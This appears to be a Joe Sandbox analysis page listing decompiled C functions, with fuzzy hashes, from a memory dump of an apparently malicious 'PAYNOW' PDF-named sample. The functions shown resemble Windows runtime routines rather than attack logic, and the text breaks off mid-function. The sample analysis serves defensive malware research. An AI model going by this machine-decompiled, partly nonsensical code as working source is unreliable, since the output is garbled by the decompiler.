Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db222aff31ac99bbcf2dda992de91452d5bad2b8758ffabb997b8c49cee3dcdf
Instruction ID: 025b5b9fa94f0d112402e703fa3b4f1da5fd913e1578082dc9be229d2e59bbc0
Opcode Fuzzy Hash: db222aff31ac99bbcf2dda992de91452d5bad2b8758ffabb997b8c49cee3dcdf
Instruction Fuzzy Hash: 774166B5A00705EFDB24CF98C980A9AB7F8FF58704F10496DE596EB650D730EA04CB64

Uniqueness

Uniqueness Score: -1.00%

Function 3353D7A7 Relevance: .1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E3353D7A7(signed int* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				unsigned int _v24;
				void* __ebx;
				unsigned int _t36;
				intOrPtr _t39;
				signed int _t45;
				char* _t46;
				signed int _t47;
				char* _t48;
				intOrPtr _t55;
				signed int _t61;
				void* _t66;
				signed int _t67;
				signed int _t68;
				signed int _t91;
				signed int* _t94;

				_v20 = _v20 & 0x00000000;
				_v16 = __edx + 1;
				_t94 = __ecx;
				_t91 = L3353BFDB(__ecx, __edx + 1, __eflags, _a4);
				if(_t91 != 0) {
					_t36 =  !( *_t94) + 1;
					__eflags = _t36 - 0x100000;
					_v24 = _t36;
					_t73 = (_t36 != 0x100000) + 1;
					_t66 = (_t91 -  *0x33566dc4 >> 0x14) + (_t91 -  *0x33566dc4 >> 0x14);
					_v8 = (_t36 != 0x100000) + 1;
					_t39 = (_t36 >> 0x14) + (_t36 >> 0x14) + _t66;
					_v12 = _t39;
					__eflags = _t66 - _t39;
					if(_t66 >= _t39) {
						L5:
						_v20 = 1;
						asm("lock xadd [eax], ecx");
						_t67 = _v16;
						asm("lock xadd [eax], ecx");
						_t45 = L33483C40();
						__eflags = _t45;
						if(_t45 == 0) {
							_t46 = 0x7ffe0380;
						} else {
							_t46 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						}
						__eflags =  *_t46;
						if( *_t46 != 0) {
							_t55 =  *[fs:0x30];
							__eflags =  *(_t55 + 0x240) & 0x00000001;
							if(( *(_t55 + 0x240) & 0x00000001) != 0) {
								__eflags = _t67 << 0xc;
								L3352EFD3(_t67, _t94[9], _t91, _t67 << 0xc, 0xc);
							}
						}
						_t47 = L33483C40();
						__eflags = _t47;
						if(_t47 == 0) {
							_t48 = 0x7ffe0388;
						} else {
							_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
						}
						__eflags =  *_t48;
						if( *_t48 != 0) {
							L3352DAAF(_t67, _t94[9], _t91, _v24);
						}
						__eflags =  *0x33566938 & 0x00000008;
						if(( *0x33566938 & 0x00000008) != 0) {
							__eflags = _t94 + _t94[4];
							E33530BAD(_t94[9], _t94 + _t94[4]);
						}
						_t68 = _t91;
						_t91 = 0;
						__eflags = 0;
						L20:
						__eflags = _t91;
						if(_t91 != 0) {
							L3353D946(_t94, _t91, _v16, _v20);
						}
						goto L22;
					} else {
						goto L3;
					}
					while(1) {
						L3:
						_t61 = L3353DF19(0x33566dc8, _t66, _t73, _t73);
						__eflags = _t61;
						if(_t61 < 0) {
							break;
						}
						_t73 = _v8;
						_t66 = _t66 + 2;
						__eflags = _t66 - _v12;
						if(_t66 < _v12) {
							continue;
						}
						goto L5;
					}
					_t68 = 0;
					goto L20;
				} else {
					_t68 = 0;
					L22:
					return _t68;
				}
			}

0x3353d7b2
0x3353d7c2
0x3353d7c6
0x3353d7cd
0x3353d7d1
0x3353d7e2
0x3353d7e3
0x3353d7e8
0x3353d7f8
0x3353d7fe
0x3353d800
0x3353d804
0x3353d806
0x3353d80a
0x3353d80c
0x3353d82d
0x3353d835
0x3353d842
0x3353d84a
0x3353d855
0x3353d859
0x3353d85e
0x3353d860
0x3353d876
0x3353d862
0x3353d86b
0x3353d86b
0x3353d87b
0x3353d87e
0x3353d880
0x3353d886
0x3353d88d
0x3353d896
0x3353d89c
0x3353d89c
0x3353d88d
0x3353d8a1
0x3353d8a6
0x3353d8a8
0x3353d8ba
0x3353d8aa
0x3353d8b3
0x3353d8b3
0x3353d8bf
0x3353d8c2
0x3353d8cd
0x3353d8cd
0x3353d8d2
0x3353d8d9
0x3353d8e2
0x3353d8e4
0x3353d8e4
0x3353d8e9
0x3353d8eb
0x3353d8eb
0x3353d8ed
0x3353d8ed
0x3353d8ef
0x3353d8fd
0x3353d8fd
0x00000000
0x00000000
0x00000000
0x00000000
0x3353d80e
0x3353d80e
0x3353d817
0x3353d81c
0x3353d81e
0x00000000
0x00000000
0x3353d820
0x3353d824
0x3353d827
0x3353d82b
0x00000000
0x00000000
0x00000000
0x3353d82b
0x3353d872
0x00000000
0x3353d7d3
0x3353d7d3
0x3353d902
0x3353d90a
0x3353d90a

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 516fbae5aaa2a23661d7ba0d143316f34e0ce9cd12f5b9b949fbd529640bcc3b
Instruction ID: f7d8a2e6d81000e416cb09a9e1be9e3fbd16b5fecf57266cfa57e2bac67b45b0
Opcode Fuzzy Hash: 516fbae5aaa2a23661d7ba0d143316f34e0ce9cd12f5b9b949fbd529640bcc3b
Instruction Fuzzy Hash: E341D1B2A063018FD315DF28D880B1AB7F5EBC5764F08452CE885C77A1DA34E845C751

Uniqueness

Uniqueness Score: -1.00%

Function 334A1796 Relevance: .1, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E334A1796(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a8, char* _a12, intOrPtr* _a16) {
				signed int _v4;
				unsigned int _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr* _v36;
				intOrPtr _v48;
				intOrPtr _t47;
				intOrPtr _t51;
				char* _t55;
				intOrPtr _t56;
				intOrPtr* _t62;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr* _t83;
				intOrPtr* _t85;
				char* _t87;
				signed int _t92;
				intOrPtr* _t94;
				void* _t99;
				intOrPtr _t101;
				char* _t108;
				intOrPtr* _t122;
				intOrPtr _t125;
				void* _t127;
				signed int _t129;
				intOrPtr _t130;
				char* _t131;
				intOrPtr _t132;

				_push(0x24);
				_push(0x3354c6f0);
				E334C7BE4(__ebx, __edi, __esi);
				_v48 = __edx;
				_t127 = __ecx;
				_t47 =  *0x33565d78; // 0x0
				_t85 = L33485D90(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t47 + 0xc0000, 0x28);
				_v36 = _t85;
				if(_t85 == 0) {
					_t51 = 0xc0000017;
					goto L11;
				} else {
					_t108 = 0;
					_v28 = 0;
					_v4 = _v4 & 0;
					_push("true");
					_pop(_t92);
					memcpy(_t85 + 8, _t127, _t92 << 2);
					_t122 = _t127 + _t92 + _t92;
					_t129 = 0xfffffffe;
					_v4 = _t129;
					if(0 < 0) {
						L32:
						_t130 = _v28;
						goto L33;
					} else {
						_t55 =  *((intOrPtr*)(_t85 + 0xc));
						if(_t55 <  *(_t85 + 8)) {
							_t130 = 0xc000007b;
							goto L33;
						} else {
							if(_a12 == 0) {
								_t94 = _a8;
								_t56 =  *_t94;
								_v32 = _t56;
								 *_t94 = _t56 + 1;
								goto L6;
							} else {
								_t122 = _a8;
								L14();
								_t108 = _t55;
								_v28 = _t108;
								if(_t108 < 0) {
									goto L32;
								} else {
									_v32 =  *_t122;
									L6:
									_v4 = 1;
									 *((intOrPtr*)( *((intOrPtr*)(_t85 + 0x10)))) = _v32;
									_v4 = _t129;
									if(_t108 < 0) {
										_t131 = _a12;
										if(_t131 == 0) {
											goto L32;
										} else {
											asm("btr eax, ecx");
											_t130 = _v28;
											if( *_t131 != 0) {
												 *0x33565c90 =  *0x33565c90 - 8;
											}
										}
										L33:
										E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
										_t51 = _t130;
										goto L11;
									} else {
										 *((intOrPtr*)(_t85 + 0x24)) = _v32;
										 *((intOrPtr*)(_t85 + 0x20)) = _v48;
										_t62 =  *0x335633ac; // 0x31bfa78
										if( *_t62 != 0x335633a8) {
											_push("true");
											_pop(_t99);
											asm("int 0x29");
											_push(0x335633a8);
											_push(0x335633a8);
											_push(_t85);
											_push(_t129);
											_t132 =  *0x33565c90;
											_t87 = _t108;
											_push(_t122);
											_t123 = 0x335633a8;
											_v20 = 0x335633a8;
											if(_t132 == 0) {
												 *0x33565c90 = 8;
												 *0x33565c94 = 0x33565c88;
												 *0x33565c98 = 1;
												goto L20;
											} else {
												_t68 = L334A19C0(_t87, _t99, 0x335633a8, _t132, 0x33565c90, 1, 0);
												if(_t68 == 0xffffffff) {
													_t101 =  *0x33565c90;
													if(_t101 + 0x27 >> 5 >  *0x33565c98) {
														_v8 = _t132 + 0x27 >> 5;
														_t125 = L33485D90( *0x33565d78 + 0xc0000,  *((intOrPtr*)( *[fs:0x30] + 0x18)),  *0x33565d78 + 0xc0000, _t132 + 0x27 >> 5 << 2);
														if(_t125 == 0) {
															_t67 = 0xc0000017;
														} else {
															 *0x33565c98 = _v8;
															L334B88C0(_t125,  *0x33565c94, _t132 + 7 >> 3);
															_t79 =  *0x33565c94;
															if( *0x33565c94 != 0x33565c88) {
																E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t79);
															}
															 *0x33565c94 = _t125;
															_t123 = _v12;
															 *0x33565c90 = _t132 + 8;
															goto L20;
														}
													} else {
														 *0x33565c90 = _t101 + 8;
														L20:
														E334A1B10(0x33565c90, _t132 + 1, 7);
														asm("bts ecx, eax");
														 *_t123 = _t132;
														 *_t87 = 1;
														goto L17;
													}
												} else {
													 *0x335633a8 = _t68;
													 *_t87 = 0;
													L17:
													_t67 = 0;
												}
											}
											return _t67;
										} else {
											 *_t85 = 0x335633a8;
											 *((intOrPtr*)(_t85 + 4)) = _t62;
											 *_t62 = _t85;
											 *0x335633ac = _t85;
											_t83 = _a16;
											if(_t83 != 0) {
												 *_t83 = _t85;
											}
											_t51 = 0;
											L11:
											 *[fs:0x0] = _v16;
											return _t51;
										}
									}
								}
							}
						}
					}
				}
			}

0x334a1796
0x334a1798
0x334a179d
0x334a17a2
0x334a17a5
0x334a17a7
0x334a17c2
0x334a17c4
0x334a17c9
0x334e1966
0x00000000
0x334a17cf
0x334a17cf
0x334a17d1
0x334a17d4
0x334a17da
0x334a17dc
0x334a17dd
0x334a17dd
0x334a17e1
0x334a17e2
0x334a17e7
0x334e19fa
0x334e19fa
0x00000000
0x334a17ed
0x334a17ed
0x334a17f3
0x334e199c
0x00000000
0x334a17f9
0x334a17fd
0x334a187c
0x334a187f
0x334a1881
0x334a1885
0x00000000
0x334a17ff
0x334a1802
0x334a1807
0x334a180c
0x334a180e
0x334a1813
0x00000000
0x334a1819
0x334a181b
0x334a181e
0x334a181e
0x334a182b
0x334a182d
0x334a1832
0x334e19c9
0x334e19ce
0x00000000
0x334e19d0
0x334e19e4
0x334e19ec
0x334e19ef
0x334e19f1
0x334e19f1
0x334e19ef
0x334e19fd
0x334e1a09
0x334e1a0e
0x00000000
0x334a1838
0x334a183b
0x334a1841
0x334a1844
0x334a1850
0x334a1889
0x334a188b
0x334a188c
0x334a1893
0x334a1894
0x334a1895
0x334a1896
0x334a1897
0x334a189d
0x334a189f
0x334a18a0
0x334a18a2
0x334a18a7
0x334a18c8
0x334a18d2
0x334a18dc
0x00000000
0x334a18a9
0x334a18b2
0x334a18ba
0x334a1915
0x334a1927
0x334a1948
0x334a195e
0x334a1962
0x334e1a15
0x334a1968
0x334a196b
0x334a197e
0x334a1983
0x334a1990
0x334a19b4
0x334a19b4
0x334a1995
0x334a199b
0x334a199e
0x00000000
0x334a199e
0x334a1929
0x334a192c
0x334a18e6
0x334a18f1
0x334a1909
0x334a190e
0x334a1910
0x00000000
0x334a1910
0x334a18bc
0x334a18bc
0x334a18be
0x334a18c1
0x334a18c1
0x334a18c1
0x334a18ba
0x334a18c7
0x334a1852
0x334a1852
0x334a1854
0x334a1857
0x334a1859
0x334a185f
0x334a1864
0x334a1866
0x334a1866
0x334a1868
0x334a186a
0x334a186d
0x334a1879
0x334a1879
0x334a1850
0x334a1832
0x334a1813
0x334a17fd
0x334a17f3
0x334a17e7

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad66269f96f035c79ce10edb20e6e2d9175239137354058bf07477c2e6f34c0c
Instruction ID: 91faec2aab19436213e0dfc9903521d94187280d268e1a33e01037eed042665a
Opcode Fuzzy Hash: ad66269f96f035c79ce10edb20e6e2d9175239137354058bf07477c2e6f34c0c
Instruction Fuzzy Hash: 534135B5A40305DFDB05CF59D880BA9BBF1FB88745F1885AAE819AB344CB34A942CF54

Uniqueness

Uniqueness Score: -1.00%

Function 334F0227 Relevance: .1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E334F0227(short __ecx, intOrPtr __edx, char _a4, char _a8, signed short* _a12, signed short* _a16) {
				signed int _v8;
				char _v588;
				signed short* _v592;
				signed short* _v596;
				intOrPtr _v600;
				char _v604;
				short _v606;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short* _t34;
				void* _t35;
				intOrPtr _t38;
				void* _t57;
				void* _t58;
				signed short* _t60;
				signed char* _t61;
				char* _t71;
				void* _t72;
				void* _t74;
				void* _t75;
				signed int _t78;
				signed int _t80;

				_t68 = __edx;
				_t80 = (_t78 & 0xfffffff8) - 0x25c;
				_v8 =  *0x3356b370 ^ _t80;
				_t34 = _a16;
				_v606 = __ecx;
				_t74 = 0;
				_t60 = _a12;
				_v600 = __edx;
				_v596 = _t60;
				_v592 = _t34;
				_t71 =  &_v588;
				if(_t60 != 0) {
					_t74 = ( *_t60 & 0x0000ffff) + 2;
					if(_t34 != 0) {
						_t74 = _t74 + ( *_t34 & 0x0000ffff) + 2;
					}
				}
				_t9 = _t74 + 0x2a; // 0x28
				_t57 = _t9;
				if(_t74 <= 0x214) {
					L5:
					_t35 = 0x240;
					if(_t57 > 0x240) {
						_t35 = _t57;
					}
					L334B8F40(_t71, 0, _t35);
					_t80 = _t80 + 0xc;
					 *((short*)(_t71 + 6)) = _v606;
					_t38 = _v600;
					if(_t38 != 0xffffffff) {
						asm("cdq");
						 *((intOrPtr*)(_t71 + 0x20)) = _t38;
						 *((char*)(_t71 + 0x28)) = _a4;
						 *((intOrPtr*)(_t71 + 0x24)) = _t68;
						 *((char*)(_t71 + 0x29)) = _a8;
						if(_t74 != 0) {
							_t68 = _t71 + 0x2a;
							L334EFD65(_v596, _t71 + 0x2a, _t74,  &_v604);
							_t67 = _v600;
							if(_v600 != 0) {
								_t68 = _v604 + 0x2a + _t71;
								L334EFD65(_t67, _v604 + 0x2a + _t71, _t74 - _v604,  &_v604);
							}
						}
					}
					if(L33483C40() == 0) {
						_t61 = 0x7ffe0384;
					} else {
						_t61 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t71);
					_push(_t57 - 0x20);
					_push(0x402);
					_push( *_t61 & 0x000000ff);
					L334B2F90();
					_t43 =  &_v604;
					if( &_v604 != _t71) {
						_t43 = E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t71);
					}
					L16:
					_pop(_t72);
					_pop(_t75);
					_pop(_t58);
					return E334B4B50(_t43, _t58, _v8 ^ _t80, _t68, _t72, _t75);
				}
				_t71 = L33485D90(_t60,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
				if(_t71 == 0) {
					goto L16;
				}
				goto L5;
			}

0x334f0227
0x334f022f
0x334f023c
0x334f0243
0x334f0248
0x334f024d
0x334f024f
0x334f0252
0x334f0256
0x334f025a
0x334f025f
0x334f0265
0x334f026a
0x334f026f
0x334f0277
0x334f0277
0x334f026f
0x334f0279
0x334f0279
0x334f0282
0x334f029f
0x334f029f
0x334f02a6
0x334f02a8
0x334f02a8
0x334f02ae
0x334f02b8
0x334f02bb
0x334f02bf
0x334f02c6
0x334f02c8
0x334f02c9
0x334f02cf
0x334f02d5
0x334f02d8
0x334f02dd
0x334f02e8
0x334f02ec
0x334f02f1
0x334f02f7
0x334f0308
0x334f030a
0x334f030a
0x334f02f7
0x334f02dd
0x334f0316
0x334f0329
0x334f0318
0x334f0321
0x334f0321
0x334f032e
0x334f0332
0x334f0336
0x334f033b
0x334f033c
0x334f0341
0x334f0347
0x334f0355
0x334f0355
0x334f035a
0x334f0361
0x334f0362
0x334f0363
0x334f036e
0x334f036e
0x334f0295
0x334f0299
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3b920d785aae03bd0ab3459c712d139bd45a399600ebff1d76592dec1be11a9
Instruction ID: fd4aa8981facc1b0f1c59130b21f226754503ee586cdca1a506edd96af8a1e79
Opcode Fuzzy Hash: e3b920d785aae03bd0ab3459c712d139bd45a399600ebff1d76592dec1be11a9
Instruction Fuzzy Hash: 3741A0766087419FC310CF68D840A6AB7E9FFC8740F090A2DF8988B790E735D905C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 334801F1 Relevance: .1, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E334801F1(void* __ecx, signed int __edx, intOrPtr _a4, char _a8) {
				char _v5;
				signed int _v12;
				char _v16;
				signed int _v20;
				char _v24;
				void* __ebx;
				signed int _t39;
				void* _t42;
				short _t49;
				intOrPtr* _t52;
				char* _t53;
				void* _t59;
				signed int _t68;
				void* _t70;

				_t59 = __ecx;
				_v5 = __edx;
				_t61 = __edx;
				_t68 = 1 << __edx;
				if(1 > 0x78000) {
					_t68 = 0x78000;
				}
				_t69 = _t68;
				_v12 = _t68;
				if(_a8 != 0) {
					_t13 = _t68 + 0x2000; // 0x2001
					_t69 = _t13;
					_v12 = _t13;
				}
				L3347FED0( *((intOrPtr*)(_t59 + 0xc8)));
				_t70 = L33485D90(_t61, _t59, 0x800001, _t69);
				if(_t70 == 0) {
					_push( *((intOrPtr*)(_t59 + 0xc8)));
					E3347E740(_t61);
					L8:
					return _t70;
				}
				if(_a8 != 0) {
					_t15 = _t70 + 0xfff; // 0xfff
					_t39 = _t15 + _t68 & 0xfffff000;
					_v20 = _t39;
					_v12 = _t39 - _t70;
					_t42 = E33482710(_t59, 0x800001, _t70, _t39 - _t70 + 0x1000);
					_push( *((intOrPtr*)(_t59 + 0xc8)));
					_t70 = _t42;
					E3347E740(_t61);
					_v16 = 0x1000;
					_push( &_v24);
					_push("true");
					_push( &_v16);
					_push( &_v20);
					_push(0xffffffff);
					L334B2EB0();
					_t62 = _v12;
					_t49 = _v12 - _t68;
					 *((char*)(_t70 + 9)) = 1;
				} else {
					_push( *((intOrPtr*)(_t59 + 0xc8)));
					E3347E740(_t61);
					_t62 = _v12;
					_t49 = 0;
					 *((char*)(_t70 + 9)) = 0;
				}
				 *((short*)(_t70 + 0xa)) = _t49;
				 *((char*)(_t70 + 8)) = _v5;
				_t52 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t52 != 0) {
					if( *_t52 == 0) {
						goto L6;
					}
					_t53 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					goto L7;
				} else {
					L6:
					_t53 = 0x7ffe0380;
					L7:
					if( *_t53 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
							E3352F478(_t59, _t59, _t70, _t62, _a4);
						}
					}
					goto L8;
				}
			}

0x33480200
0x33480202
0x33480206
0x33480208
0x33480211
0x334d4a81
0x334d4a81
0x3348021b
0x3348021d
0x33480220
0x3348028e
0x3348028e
0x33480294
0x33480294
0x33480228
0x33480239
0x3348023d
0x334d4a88
0x334d4a8e
0x33480286
0x3348028b
0x3348028b
0x33480247
0x33480299
0x334802a1
0x334802a6
0x334802ab
0x334802bb
0x334802c0
0x334802c6
0x334802c8
0x334802d0
0x334802d7
0x334802d8
0x334802dd
0x334802e1
0x334802e2
0x334802e4
0x334802e9
0x334802ee
0x334802f0
0x33480249
0x33480249
0x3348024f
0x33480254
0x33480257
0x33480259
0x33480259
0x3348025c
0x33480263
0x3348026c
0x33480271
0x334d4a9b
0x00000000
0x00000000
0x334d4aaa
0x00000000
0x33480277
0x33480277
0x33480277
0x3348027c
0x3348027f
0x334d4ac1
0x334d4acf
0x334d4acf
0x334d4ac1
0x00000000
0x3348027f

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60217219fab30d7d5fc2cb2f90293db42116593f581b72c7076c745c3ea74110
Instruction ID: 2619ecccd1eb0058997c6f05c5de659c490e70cccbdac3111832fcab8ee6a8f5
Opcode Fuzzy Hash: 60217219fab30d7d5fc2cb2f90293db42116593f581b72c7076c745c3ea74110
Instruction Fuzzy Hash: 4C313D35A00344BFDB118BA8CC40BDABBF9EF05350F084569E864DB352C6B99984C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 33499194 Relevance: .1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E33499194(signed int* __ecx, signed int** __edx) {
				signed int _v8;
				char _v84;
				char _v156;
				char _v157;
				char _v164;
				char _v168;
				intOrPtr _v172;
				signed int** _v176;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				intOrPtr _t36;
				void* _t42;
				void* _t47;
				void* _t49;
				char* _t50;
				char _t52;
				signed int _t59;

				_t56 = __edx;
				_v8 =  *0x3356b370 ^ _t59;
				_t58 = __ecx;
				_v176 = __edx;
				_t52 = 0x48;
				_v164 = _t52;
				_t50 =  &_v84;
				_v168 = _t52;
				_v172 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_push( &_v164);
				_push(_t52);
				_v157 = 0;
				_push(_t50);
				_push(0x29);
				_push(0xfffffffc);
				_t33 = E334B2BC0();
				_t57 = _t33;
				if(_t33 < 0) {
					L11:
					return E334B4B50(_t57, _t50, _v8 ^ _t59, _t56, _t57, _t58);
				}
				if(__ecx == 0) {
					L12:
					_t55 = _v164;
					L6:
					_t36 =  *0x33565d78; // 0x0
					_t58 = L33485D90(_t55, _v172, _t36 + 0x140000, _t55);
					if(_t58 == 0) {
						_t57 = 0xc0000017;
						goto L11;
					}
					if( *_t50 != 0) {
						 *_t58 =  &(_t58[1]);
						_t42 = L33496850(_v164 + 0xfffffffc,  &(_t58[1]),  *_t50);
						_t57 = _t42;
						if(_t42 < 0) {
							L10:
							if(_t58 != 0) {
								E33483BC0(_v172, 0, _t58);
							}
							goto L11;
						}
						L9:
						 *_v176 = _t58;
						_t58 = 0;
						goto L10;
					}
					 *_t58 =  *_t58 & 0x00000000;
					goto L9;
				}
				_push( &_v168);
				_push(_v168);
				_push( &_v156);
				_push(0x29);
				_push(__ecx);
				_t47 = E334B2BC0();
				_t57 = _t47;
				if(_t47 < 0) {
					goto L11;
				}
				_t49 = E334992C0(_v84, _v156,  &_v157);
				_t57 = _t49;
				if(_t49 < 0) {
					goto L11;
				}
				if(_v157 == 0) {
					goto L12;
				}
				_t55 = _v168;
				_t50 =  &_v156;
				_v164 = _v168;
				goto L6;
			}

0x33499194
0x334991a6
0x334991b4
0x334991b6
0x334991bc
0x334991bd
0x334991c3
0x334991c6
0x334991cf
0x334991db
0x334991dc
0x334991df
0x334991e6
0x334991e7
0x334991e9
0x334991eb
0x334991f0
0x334991f4
0x33499295
0x334992a5
0x334992a5
0x334991fc
0x334992a6
0x334992a6
0x3349925a
0x3349925a
0x33499271
0x33499275
0x334992ae
0x00000000
0x334992ae
0x3349927a
0x334dd54b
0x334dd55a
0x334dd55f
0x334dd563
0x3349928d
0x3349928f
0x334dd577
0x334dd577
0x00000000
0x3349928f
0x33499283
0x33499289
0x3349928b
0x00000000
0x3349928b
0x33499280
0x00000000
0x33499280
0x33499208
0x33499209
0x33499215
0x33499216
0x33499218
0x33499219
0x3349921e
0x33499222
0x00000000
0x00000000
0x33499234
0x33499239
0x3349923d
0x00000000
0x00000000
0x33499246
0x00000000
0x00000000
0x33499248
0x3349924e
0x33499254
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc3876bb40d878f62dd1d27c1e74ccffb2d8219faf76d32d877b269eb89df2b1
Instruction ID: 55e995a752c3ae10564bade19a12389df97cc5a60a89b276351d96d30308aadf
Opcode Fuzzy Hash: bc3876bb40d878f62dd1d27c1e74ccffb2d8219faf76d32d877b269eb89df2b1
Instruction Fuzzy Hash: D6319275A003289FEB618B64DC40FDA7BB5EF86710F1105E9E95CAB240DB30DD458B55

Uniqueness

Uniqueness Score: -1.00%

Function 33474180 Relevance: .1, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E33474180(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v0;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t36;
				intOrPtr* _t45;
				intOrPtr _t46;
				signed int* _t52;
				intOrPtr* _t53;
				intOrPtr _t57;
				void* _t58;
				signed int _t61;
				void* _t62;
				char* _t64;
				char _t65;
				void* _t67;
				void* _t68;
				void* _t70;
				intOrPtr _t71;

				if(_a4 == 0 || _a8 == 0) {
					L19:
					E33544A6D(_t57, _t58, _t62, _t67, _t70);
					return 0xc000000d;
				} else {
					_t57 = _a16;
					if(_t57 != 0) {
						if(( *(_t57 + 0x1c) & 0xfffffffc) == 0) {
							goto L3;
						}
						goto L19;
					}
					L3:
					if( *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
						goto L19;
					}
					_t36 =  *0x33566644; // 0x0
					_push(_t70);
					_push(_t67);
					_t71 = L33485D90(_t58,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t36 + 0x001c0000 | 0x00000008, 0x128);
					if(_t71 == 0) {
						_t68 = 0xc0000017;
						L10:
						return _t68;
					}
					_push(0);
					 *((intOrPtr*)(_t71 + 0x6c)) = _v0;
					_t9 = _t71 + 0xe4; // 0xe4
					_push("true");
					_t68 = E334B3640();
					if(_t68 < 0) {
						L16:
						_t30 = _t71 + 0xe4; // 0xe4
						_t45 = _t30;
						if( *_t45 != 0) {
							_push( *_t45);
							E334B2A80();
						}
						_t46 =  *0x33566644; // 0x0
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t46 + 0x1c0000, _t71);
						goto L10;
					}
					_t68 = L334748B7(1, _a12, _t57, 0x334410a8, 0x334410b8);
					if(_t68 < 0) {
						goto L16;
					}
					_t60 =  *((intOrPtr*)(_t71 + 0x5c));
					_t12 = _t71 + 0x11c; // 0x11c
					_t52 = _t12;
					 *((intOrPtr*)(_t71 + 0x118)) = E33475570;
					_t14 = _t71 + 0x120; // 0x120
					_t64 = _t14;
					if( *((intOrPtr*)(_t71 + 0x5c)) == 0) {
						 *_t52 =  *_t52 & 0x00000000;
						_t61 = 0;
						 *_t64 = 0;
						_t65 = 0;
					} else {
						E33474A09(_t60, _t52, _t64);
						_t61 =  *(_t71 + 0x11c);
						_t65 =  *((intOrPtr*)(_t71 + 0x120));
					}
